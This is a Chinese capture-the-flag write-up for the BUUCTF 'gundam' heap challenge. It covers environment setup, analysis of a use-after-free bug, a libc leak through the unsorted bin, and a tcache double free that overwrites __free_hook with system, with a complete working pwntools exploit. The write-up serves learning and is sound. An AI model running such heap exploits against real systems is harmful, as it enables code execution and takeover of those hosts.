ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

BUUCTF-gundam

2022-06-13 02:01:32  阅读:337  来源: 互联网

标签:BUUCTF libc gundam free hook io chunk


[BUUCTF] gundam

题目链接:https://buuoj.cn/challenges#hitb2018_gundam

这道题主要考察的是tcache的相关漏洞利用,由于刚接触堆漏洞利用,一步一坑...,做完后心生感慨必须得写点什么记录这次的踩坑经历。

image

glibc 环境配置

在做pwn相关题目时需要保持本地和远程机器环境一致。对于堆题来说,libc版本不一致,各种安全机制也不尽相同,gdb调试的结果也会出现巨大差异,最终导致本地能运行的代码提交到远端机器后运行失败。

BUUCTF-gundam的环境为: ubuntu18,libc-2.27.so

https://buuoj.cn/resources

为了和平台环境保持一致,我们需要修改gundam的环境为libc-2.27,因此需要用到两个工具

  • glibc-all-in-one: 下载glibc环境
  • patchelf: 修改可执行文件的动态库

glibc-all-in-one 安装

git clone git@github.com:matrix1001/glibc-all-in-one.git
cd glibc-all-in-one
./download 2.27-3ubuntu1_amd64

patchelf 安装

git clone git@github.com:NixOS/patchelf.git
cd patchelf
./bootstrap.sh
./configure
make
make check
sudo make install

工具下载完后执行如下命令修改gundam运行环境.
运行完后无回显,可以用ldd gundam查看环境是否被修改成功

ps: 命令需要修改...主要看你把glibc-all-in-one安装在哪,修改为对应路径

patchelf --set-interpreter /home/kali/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./gundam
patchelf --replace-needed libc.so.6 /home/kali/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./gundam
patchelf --set-rpath /home/kali/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ ./gundam 

IDA代码分析

替换了几个变量的命名,看上去更加舒适...

image

image

从build函数中能得出如下信息:

  • s是个结构体,姑且叫它gundam,大概格式是这样
    struct gundam {
    	int flag;
    	// 中间缺了4字节,可能是被对齐了
    	char *name;
    	char type[24];
    } gundam;
    
    struct gundam * factory[9]
    
  • gundam里有个flag,标识是否被使用,在删除时会用到
  • gundam的name长度为100,由read函数读入,不会被\0截断
  • gundam的type只能是[0,1,2]中的一个

image

visit函数第9行判断了下gundam是否为NULL以及对应flag是否为1,打印其name和type

image

destroy函数要求输入一个idx,会把idx位置上的gundam的flag清零,以及free gundam的name

  • free name之后没有把对应指针置0,意味着这里有个UAF漏洞
  • 没有free idx位置上的gundam
  • 这里的destory拼错了...(卡了我一小会,就说怎么老获取不到反馈)

image

blow_up会清空所有没有在使用(flag=0)的gundam, free掉对应结构体, 并把已创建的gundam数量-1, 这里释放完后对应gundam的指针被置0了,但仍然没有处理gundam->name

总体思路

  1. 泄露libc的基址, 计算__free_hook和system的地址
  2. 将__free_hook的值赋值为system地址
  3. /bin/sh\0传入, 调用system

在开始细化讲解每一步的操作前先简要介绍下每一步的原理。

泄露libc基址

该题在BUUCTF上的环境为libc-2.27, 而在libc-2.26引入了一种叫做tcache的机制,该机制会导致free chunk时,原本要释放的chunk先放入tcache中,相同大小的chunk放入同一个链表,链表最多存放7个,超过7个的部分放入unsorted-bin中。
image
对于一个chunk,我们知道它的结构体长这样

struct malloc_chunk {
  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk, if it is free. */
  INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;                /* double links -- used only if this chunk is free. */
  struct malloc_chunk* bk;
  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
  struct malloc_chunk* bk_nextsize;
};

正在使用的chunk,从fd字段开始是我们的用户数据,而chunk被free掉之后,fd字段就指向了下一个free的chunk。假如一个chunk被free掉后,它对应的指针没有置为NULL,我们就可以在它的data[0:8]位置处读出fd的值。

image

在unsorted bin中,最后一个chunk会指向main_arena的固定区域,可以理解为main_arena里有个和tcache类似的数组,称它为bins,bins与main_arena的偏移是固定的,所有的unsorted bin都放在bins[1]这个链表中。

综上,如果我们获取fd,进一步获取到main_arena,由于main_arena与libc的偏移也是固定的,我们就能找出libc的地址了,也就能够找出__free_hook和system的地址。

__free_hook

void __libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */

  void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook);
  if (__builtin_expect (hook != NULL, 0))
    {
      (*hook)(mem, RETURN_ADDRESS (0));
      return;
    }

截取了一部分free代码的片段,从片段中可以看出,如果__free_hook不为空,则会把要释放的mem作为参数,调用__free_hook。在这一题中,我们就是通过把__free_hook修改成system,再free掉一个内容为/bin/sh\0的chunk,即可获得shell

编写exp

基本框架

from pwn import *

context.log_level = 'debug'

file_path = '/home/kali/Desktop/ctf/pwn/gundam/gundam'
libc_path = '/home/kali/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'

io = process([file_path])
# io = remote('node4.buuoj.cn', 26035)
libc = ELF(libc_path)

def build(name):
    io.sendlineafter("Your choice : ", "1")
    io.sendlineafter("gundam :", name)
    io.sendlineafter("The type of the gundam :", "0")

def visit():
    io.sendlineafter("choice : ", "2")

def destroy(idx):
    io.sendlineafter("choice : ","3")
    io.sendlineafter("Destory:", str(idx))

def blow_up():
    io.sendlineafter("choice : ", "4")

泄露libc基址

tcache第8个free掉的bin会放入unsorted bins,我们可以先创建9个高达,再释放8个,最后一个gundam被destroy后会加入unsorted bin,而destroy gundam时没有对gundam->name指针置0,因此可以读出它的内容,这里多创建一个是为了防止和top chunk合并。

for i in range(9):
    build(b'a' * 7)

for i in range(8):
    destroy(i)

用gdb调试一下,看看现在unsorted bin和libc的距离有多远
image

image

由于此时unsorted bin中只有一个chunk,因此该chunk的fd指针直接指向bins[1],而它与main_arena的偏移固定,main_arena与libc的偏移固定,因此fd与libc的基址偏移就是固定的

从图中可以算出fd到libc的地址距离为0x00007fe840b9bca0 - 0x7fe8407b0000 = 0x3ebca0

接下来,我们可以通过destroy后没有把相关指针置0的漏洞,读取出unsorted bin中的内容,并计算出__free_hook与system的地址。此时unsorted bin应该是idx=7的gundam对应的chunk

visit()

leak = u64(io.recvuntil(b'Type[7]', drop=True)[-6:].ljust(8, b'\0'))
libc_base = leak - 0x3ebca0
free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']

print(hex(leak))
print(hex(libc_base))
print(hex(system_addr))

UAF漏洞利用

泄露完我们要的函数地址后,该如何把它们修改为想要的值呢,这里就不得不提到tcache对于free后的chunk的插入方式。

对于正常的chunk来说,tcache采用头插法,LIFO

image

image

用伪代码标识就是

void insert(chunk* node) {
	node->fd = chunk[idx]->fd;
	chunk[idx]->fd = node;
}

此时如果tache中只有一个chunk,而我们将它free了两次,那么就会出现chunk的fd指向自己的现象

image

这种现象会导致,我们连续两次申请内存,都会申请到同一个chunk!!!,也就是说,当我们第一次申请到chunk之后,我们可以自定义这个chunk的内容,修改它的fd指针。

还记得我们之前想要做什么吗,把__free_hook的地址修改为system。在第一次申请这个chunk时,我们把它的fd指针指向__free_hook, 第二次申请无事发生,第三次申请malloc时,我们申请到的内存块就是__free_hook的内存空间,此时我们只需要写入system的地址即可完成修改。

destroy(2)
destroy(1)
destroy(0) # gundam不能超过9, 我们后面一共需要__free_hook, system, /bin/sh\0三个值,因此这里释放3个gundam
destroy(0) # 形成循环
blow_up()  # 释放gundam, 对应指针置0

image

build(p64(free_hook_addr)) # 第一次申请chunk, 把fd指针改为free_hook_addr
build(b'/bin/sh\0')        # 第二次申请,无事发生...,不如直接把/bin/sh\0写入这个chunk
build(p64(system_addr))    # 第三次申请,此时获取到的内存块是指向__free_hook的, 等同于*__free_hook = system

形成循环后,gdb查看bins

image

修改system后,gdb查看free_hook

image

所有的条件都已经具备,我们只需要调用__free_hook, 即释放一个含有/bin/sh\0的chunk就能实现system('/bin/sh')

destroy(1)
io.interactive()

完整exploit

from pwn import *

context.log_level = 'debug'

file_path = '/home/kali/Desktop/ctf/pwn/gundam/gundam'
libc_path = '/home/kali/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'

io = process([file_path])
# io = remote('node4.buuoj.cn', 26035)
libc = ELF(libc_path)

def build(name):
    io.sendlineafter("Your choice : ", "1")
    io.sendlineafter("gundam :", name)
    io.sendlineafter("The type of the gundam :", "0")

def visit():
    io.sendlineafter("choice : ", "2")

def destroy(idx):
    io.sendlineafter("choice : ","3")
    io.sendlineafter("Destory:", str(idx))
def blow_up():
    io.sendlineafter("choice : ", "4")

for i in range(9):
    build(b'a' * 7)

for i in range(8):
    destroy(i)

blow_up()
for i in range(8):
    build(b'a' * 7)

visit()
leak = u64(io.recvuntil(b'Type[7]', drop=True)[-6:].ljust(8, b'\0'))
libc_base = leak - 0x3ebca0
free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']

print(hex(leak))
print(hex(libc_base))
print(hex(system_addr))

destroy(2)
destroy(1)
destroy(0)
destroy(0)

blow_up()

build(p64(free_hook_addr))
build(b'/bin/sh\0')
build(p64(system_addr))

destroy(1)

io.interactive()

总结

  • 环境问题真坑。。。

  • UAF威力巨大,通过没有置0但free掉的指针,我们能获取fd,进而读取libc地址

  • tcache头插法导致循环,使我们能直接控制chunk内容,实现任意写. ps: glibc-2.28修复了这个漏洞,且用且珍惜

参考文献

https://mp.weixin.qq.com/s/UMUUP2G6jA0YDT-xauNvnQ

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/

http://blog.eonew.cn/2019-03-07.__free_hook 劫持原理.html

https://blog.csdn.net/qq_33976344/article/details/118294611

标签:BUUCTF,libc,gundam,free,hook,io,chunk
来源: https://www.cnblogs.com/wudiiv11/p/buuctf-gundam.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有